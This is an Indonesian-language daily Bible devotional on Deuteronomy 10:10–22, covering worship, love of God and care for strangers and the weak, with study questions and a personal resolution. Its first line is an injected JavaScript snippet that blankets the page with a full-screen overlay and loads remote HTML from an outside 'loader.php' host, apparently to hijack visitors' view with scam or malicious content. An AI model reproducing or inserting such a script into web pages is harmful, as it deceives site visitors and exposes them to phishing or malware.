const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Selasa, 31 Oktober 2023
Ulangan 10 : 10 – 22
Pengantar
Ada orang yang beribadah hanya karena kewajiban agamanya atau agar terlihat hidup beragama. Namun sesungguhnya ibadah adalah sebuah wujud syukur dan kasih atas anugerah TUHAN yang kita rasakan, dan suatu kesempatan untuk menyatakan pujian atas segala kebesaran-Nya. Dalam Ulangan 10 : 10 – 22 yang kita baca pada hari ini, dinyatakan tentang hal yang diminta TUHAN dari umat-Nya, dan bagaimana Ia sendiri telah terlebih dahulu mewujudkannya. Jadi marilah kita memperhatikannya agar makin memahami makna hidup beribadah kepada TUHAN.
Pemahaman
Ayat 10 – 13 : Apa yang diminta TUHAN dari bangsa Israel? Ayat 14 – 20 : Mengapa Israel dikasihi dan dipilih TUHAN?
Ayat 21 – 22 : Apa yang telah dan harus terwujud dalam kehidupan bangsa Israel?
TUHAN meminta kepada bangsa Israel untuk mereka hidup takut akan TUHAN, yaitu dengan menuruti segala jalan yang ditunjukkan-Nya, serta mengasihi dan beribadah kepada TUHAN dengan segenap hati dan dengan segenap jiwa karena TUHAN yang telah mengasihi dan memilih mereka, bukan karena kehebatan atau kebaikan mereka.
Bangsa Israel dikasihi dan dipilih ALLAH yang empunya langit, bumi dan segala isinya, karena hati ALLAH terpikat kepada nenek moyang mereka dan kemudian menjadikan mereka sebagai umat- Nya. Bangsa Israel menjadi milik dari ALLAH segala allah, yaitu ALLAH yang besar, kuat, dan dahsyat yang ternyata begitu menaruh kasih dan perhatian pada orang-orang yang lemah dan
terasing dengan memberikan apa yang mereka perlukan. Maka bangsa Israel juga diperintahkan untuk menunjukkan kasih kepada orang asing, sebagaimana mereka pernah alami di waktu sebelumnya, dan juga memberi perhatian kepada orang-orang yang lemah sebagai wujud ibadah mereka kepada ALLAH.
Dengan demikian TUHAN haruslah menjadi ALLAH dan pokok puji-pujian mereka. Karena TUHAN yang telah melakukan di antara mereka perbuatan-perbuatan yang besar dan dahsyat, yang telah mereka lihat dengan mata mereka sendiri. Bahwa dengan tujuh puluh orang nenek moyang mereka pergi ke Mesir, tetapi sekarang ini TUHAN telah membuat mereka banyak seperti bintang-bintang di langit. Jadi kuasa, kasih dan kehendak TUHAN sungguh terwujud.
Refleksi
Dalam keheningan hati marilah kita merenungkan:
- Apakah Saudara telah hidup memuji TUHAN yang sungguh besar kuasa dan kasih-Nya serta rindu beribadah kepada-Nya dengan segenap hati dan jiwa?
- Apakah Saudara telah mewujudkan hidup beribadah dengan memberlakukan kasih bagi sesama?
Tekadku
TUHAN, jadikan aku sebagai pribadi yang sungguh rindu dan setia hidup beribadah hanya kepada-Mu.
Tindakanku
Setiap waktu, aku akan berusaha untuk memuji kebesaran kuasa TUHAN dan mewujudkan kasih TUHAN kepada sesama yang memerlukan.